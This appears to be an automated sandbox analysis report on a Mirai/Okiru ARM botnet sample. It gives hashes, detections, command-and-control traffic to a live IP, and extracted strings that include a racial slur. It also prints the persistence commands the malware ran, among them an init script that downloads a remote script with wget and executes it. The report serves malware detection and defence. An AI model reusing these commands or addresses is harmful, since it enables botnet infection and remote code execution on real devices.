Linux Analysis Report
arm7.nn.elf

Overview

General Information

Sample name: arm7.nn.elf
Analysis ID: 1580224
MD5: 47e2d4ce7499ad38511d144931552c0f
SHA1: 77064e74ee987ae4a19e49a8109e1018d4f49abc
SHA256: e499fe7ec10ffb9c3ef7fb2cbcc858fc526fbe8ffc56b6050cb676d10352924a
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample listens on a socket
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: arm7.nn.elf Avira: detected
Source: arm7.nn.elf Virustotal: Detection: 47% Perma Link
Source: arm7.nn.elf ReversingLabs: Detection: 44%
Source: arm7.nn.elf String: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/...%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s
Source: global traffic TCP traffic: 192.168.2.15:38204 -> 94.156.227.234:38242
Source: /tmp/arm7.nn.elf (PID: 5552) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: arm7.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, arm7.nn.elf.30.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: arm7.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: arm7.nn.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/...%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/gu
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior

barindex
Source: /tmp/arm7.nn.elf (PID: 5552) File: /etc/profile Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5552) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5602) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5616) File: /etc/rc.d/S99arm7.nn.elf -> /etc/init.d/arm7.nn.elf Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5552) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5599) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5610) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5690/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5691/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5692/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5693/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5694/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5651/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5662/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5695/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5685/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5388/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5696/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5686/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5697/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5687/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5698/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5688/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5699/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/5689/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5619) File opened: /proc/803/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5567) Shell command executed: /bin/sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5593) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5600) Shell command executed: /bin/sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5603) Shell command executed: /bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm7.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm7.nn.elf'\n /tmp/arm7.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm7.nn.elf'\n killall arm7.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm7.nn.elf" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5608) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5611) Shell command executed: /bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5614) Shell command executed: /bin/sh -c "ln -s /etc/init.d/arm7.nn.elf /etc/rc.d/S99arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /bin/sh (PID: 5599) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5610) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm7.nn.elf Jump to behavior
Source: /bin/sh (PID: 5613) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Source: /bin/sh (PID: 5576) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5552) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5599) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5610) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5552) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm7.nn.elf (PID: 5552) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5603) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm7.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/arm7.nn.elf (PID: 5552) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5603) File: /etc/init.d/arm7.nn.elf Jump to dropped file
Source: /tmp/arm7.nn.elf (PID: 5552) Queries kernel information via 'uname': Jump to behavior
Source: arm7.nn.elf, 5552.1.000055c4589de000.000055c458b2c000.rw-.sdmp Binary or memory string: !/proc/1496/exe0!/usr/bin/vmtoolsd1p.
Source: arm7.nn.elf, 5552.1.00007ffc9d0f7000.00007ffc9d118000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.HDx7SY:5
Source: arm7.nn.elf, 5552.1.000055c4589de000.000055c458b2c000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm7.nn.elf, 5552.1.000055c4589de000.000055c458b2c000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm7.nn.elf, 5552.1.00007ffc9d0f7000.00007ffc9d118000.rw-.sdmp Binary or memory string: /tmp/qemu-open.HDx7SY
Source: arm7.nn.elf, 5552.1.00007ffc9d0f7000.00007ffc9d118000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.nn.elf
Source: arm7.nn.elf, 5552.1.000055c4589de000.000055c458b2c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.nn.elf, 5552.1.00007ffc9d0f7000.00007ffc9d118000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

barindex
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5552.1.00007f6740017000.00007f6740032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 5552, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5552.1.00007f6740017000.00007f6740032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 5552, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs